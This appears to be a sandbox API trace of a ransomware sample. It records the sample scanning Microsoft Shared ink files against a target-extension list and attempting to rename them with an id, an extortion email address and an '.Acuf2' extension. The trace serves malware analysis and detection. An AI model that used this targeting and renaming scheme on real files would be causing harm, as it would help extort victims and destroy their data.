	[0249.633] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.633] lstrlenW (lpString=".zip") returned 4
	[0249.633] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0249.633] lstrlenW (lpString=".rar") returned 4
	[0249.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString=".bz2") returned 4
	[0249.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString=".7z") returned 3
	[0249.633] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0249.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.633] lstrlenW (lpString=".dbf") returned 4
	[0249.633] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.633] lstrlenW (lpString=".1cd") returned 4
	[0249.633] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0249.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0249.633] lstrlenW (lpString=".jpg") returned 4
	[0249.633] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0249.634] lstrcmpiW (lpString1=".dat", lpString2=".Acuf2") returned 1
	[0249.634] lstrlenW (lpString="hwrenclm.dat") returned 12
	[0249.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.832] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=815680) returned 1
	[0249.832] CloseHandle (hObject=0x294) returned 1
	[0249.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20
	[0249.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.832] lstrlenW (lpString=".doc") returned 4
	[0249.832] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.832] lstrlenW (lpString=".docx") returned 5
	[0249.832] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.832] lstrlenW (lpString=".pdf") returned 4
	[0249.832] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.832] lstrlenW (lpString=".xls") returned 4
	[0249.832] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.832] lstrlenW (lpString=".xlsx") returned 5
	[0249.833] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.833] lstrlenW (lpString=".ppt") returned 4
	[0249.833] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.833] lstrlenW (lpString=".zip") returned 4
	[0249.833] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString=".rar") returned 4
	[0249.833] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString=".bz2") returned 4
	[0249.833] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.833] lstrlenW (lpString=".7z") returned 3
	[0249.833] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.833] lstrlenW (lpString=".dbf") returned 4
	[0249.833] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.833] lstrlenW (lpString=".1cd") returned 4
	[0249.833] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.833] lstrlenW (lpString=".jpg") returned 4
	[0249.833] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.833] lstrlenW (lpString=".doc") returned 4
	[0249.833] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString=".docx") returned 5
	[0249.833] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.833] lstrlenW (lpString=".pdf") returned 4
	[0249.833] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString=".xls") returned 4
	[0249.833] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.833] lstrlenW (lpString=".xlsx") returned 5
	[0249.834] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.834] lstrlenW (lpString=".ppt") returned 4
	[0249.834] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.834] lstrlenW (lpString=".zip") returned 4
	[0249.834] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.834] lstrlenW (lpString=".rar") returned 4
	[0249.834] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.834] lstrlenW (lpString=".bz2") returned 4
	[0249.834] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.834] lstrlenW (lpString=".7z") returned 3
	[0249.834] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.834] lstrlenW (lpString=".dbf") returned 4
	[0249.834] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.834] lstrlenW (lpString=".1cd") returned 4
	[0249.834] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0249.834] lstrlenW (lpString=".jpg") returned 4
	[0249.834] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.834] lstrcmpiW (lpString1=".dat", lpString2=".Acuf2") returned 1
	[0249.834] lstrlenW (lpString="hwruklm.dat") returned 11
	[0249.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.835] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3053984) returned 1
	[0249.835] CloseHandle (hObject=0x294) returned 1
	[0249.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20
	[0249.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.835] lstrlenW (lpString=".doc") returned 4
	[0249.836] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString=".docx") returned 5
	[0249.836] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.836] lstrlenW (lpString=".pdf") returned 4
	[0249.836] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString=".xls") returned 4
	[0249.836] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString=".xlsx") returned 5
	[0249.836] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.836] lstrlenW (lpString=".ppt") returned 4
	[0249.836] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.836] lstrlenW (lpString=".zip") returned 4
	[0249.836] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString=".rar") returned 4
	[0249.836] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString=".bz2") returned 4
	[0249.836] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.836] lstrlenW (lpString=".7z") returned 3
	[0249.836] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.836] lstrlenW (lpString=".dbf") returned 4
	[0249.836] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.836] lstrlenW (lpString=".1cd") returned 4
	[0249.836] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.836] lstrlenW (lpString=".jpg") returned 4
	[0249.836] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.836] lstrlenW (lpString=".doc") returned 4
	[0249.837] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.837] lstrlenW (lpString=".docx") returned 5
	[0249.837] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.837] lstrlenW (lpString=".pdf") returned 4
	[0249.837] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.837] lstrlenW (lpString=".xls") returned 4
	[0249.837] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.837] lstrlenW (lpString=".xlsx") returned 5
	[0249.837] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.837] lstrlenW (lpString=".ppt") returned 4
	[0249.837] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.837] lstrlenW (lpString=".zip") returned 4
	[0249.837] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.837] lstrlenW (lpString=".rar") returned 4
	[0249.837] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.837] lstrlenW (lpString=".bz2") returned 4
	[0249.837] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.837] lstrlenW (lpString=".7z") returned 3
	[0249.837] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.837] lstrlenW (lpString=".dbf") returned 4
	[0249.837] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.837] lstrlenW (lpString=".1cd") returned 4
	[0249.837] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62
	[0249.837] lstrlenW (lpString=".jpg") returned 4
	[0249.837] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.838] lstrcmpiW (lpString1=".dat", lpString2=".Acuf2") returned 1
	[0249.838] lstrlenW (lpString="hwruksh.dat") returned 11
	[0249.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.838] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2227968) returned 1
	[0249.838] CloseHandle (hObject=0x294) returned 1
	[0249.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20
	[0249.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.838] lstrlenW (lpString=".doc") returned 4
	[0249.838] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.838] lstrlenW (lpString=".docx") returned 5
	[0249.838] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0249.838] lstrlenW (lpString=".pdf") returned 4
	[0249.838] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.838] lstrlenW (lpString=".xls") returned 4
	[0249.838] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.838] lstrlenW (lpString=".xlsx") returned 5
	[0249.838] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0249.838] lstrlenW (lpString=".ppt") returned 4
	[0249.838] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.838] lstrlenW (lpString=".zip") returned 4
	[0249.838] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString=".rar") returned 4
	[0249.839] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString=".bz2") returned 4
	[0249.839] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.839] lstrlenW (lpString=".7z") returned 3
	[0249.839] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.839] lstrlenW (lpString=".dbf") returned 4
	[0249.839] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.839] lstrlenW (lpString=".1cd") returned 4
	[0249.839] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.839] lstrlenW (lpString=".jpg") returned 4
	[0249.839] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.839] lstrlenW (lpString=".doc") returned 4
	[0249.839] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString=".docx") returned 5
	[0249.839] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0249.839] lstrlenW (lpString=".pdf") returned 4
	[0249.839] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString=".xls") returned 4
	[0249.839] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString=".xlsx") returned 5
	[0249.839] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0249.839] lstrlenW (lpString=".ppt") returned 4
	[0249.839] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.839] lstrlenW (lpString=".zip") returned 4
	[0249.840] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.840] lstrlenW (lpString=".rar") returned 4
	[0249.840] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.840] lstrlenW (lpString=".bz2") returned 4
	[0249.840] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.840] lstrlenW (lpString=".7z") returned 3
	[0249.840] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.840] lstrlenW (lpString=".dbf") returned 4
	[0249.840] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.840] lstrlenW (lpString=".1cd") returned 4
	[0249.840] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62
	[0249.840] lstrlenW (lpString=".jpg") returned 4
	[0249.840] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.840] lstrcmpiW (lpString1=".dat", lpString2=".Acuf2") returned 1
	[0249.840] lstrlenW (lpString="hwrusalm.dat") returned 12
	[0249.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.840] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3195696) returned 1
	[0249.840] CloseHandle (hObject=0x294) returned 1
	[0249.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20
	[0249.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.841] lstrlenW (lpString=".doc") returned 4
	[0249.841] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.841] lstrlenW (lpString=".docx") returned 5
	[0249.841] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.841] lstrlenW (lpString=".pdf") returned 4
	[0249.841] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.841] lstrlenW (lpString=".xls") returned 4
	[0249.841] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.841] lstrlenW (lpString=".xlsx") returned 5
	[0249.841] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.841] lstrlenW (lpString=".ppt") returned 4
	[0249.841] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.841] lstrlenW (lpString=".zip") returned 4
	[0249.841] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.841] lstrlenW (lpString=".rar") returned 4
	[0249.841] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.841] lstrlenW (lpString=".bz2") returned 4
	[0249.841] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.841] lstrlenW (lpString=".7z") returned 3
	[0249.841] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.841] lstrlenW (lpString=".dbf") returned 4
	[0249.841] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.841] lstrlenW (lpString=".1cd") returned 4
	[0249.842] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.842] lstrlenW (lpString=".jpg") returned 4
	[0249.842] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.842] lstrlenW (lpString=".doc") returned 4
	[0249.842] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString=".docx") returned 5
	[0249.842] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0249.842] lstrlenW (lpString=".pdf") returned 4
	[0249.842] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString=".xls") returned 4
	[0249.842] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString=".xlsx") returned 5
	[0249.842] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0249.842] lstrlenW (lpString=".ppt") returned 4
	[0249.842] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.842] lstrlenW (lpString=".zip") returned 4
	[0249.842] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString=".rar") returned 4
	[0249.842] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString=".bz2") returned 4
	[0249.842] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0249.842] lstrlenW (lpString=".7z") returned 3
	[0249.842] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0249.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.842] lstrlenW (lpString=".dbf") returned 4
	[0249.842] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0249.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.843] lstrlenW (lpString=".1cd") returned 4
	[0249.843] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0249.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63
	[0249.843] lstrlenW (lpString=".jpg") returned 4
	[0249.843] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0249.843] lstrcmpiW (lpString1=".dat", lpString2=".Acuf2") returned 1
	[0249.843] lstrlenW (lpString="hwrusash.dat") returned 12
	[0249.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.843] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4120784) returned 1
	[0249.843] CloseHandle (hObject=0x294) returned 1
	[0249.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20
	[0249.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
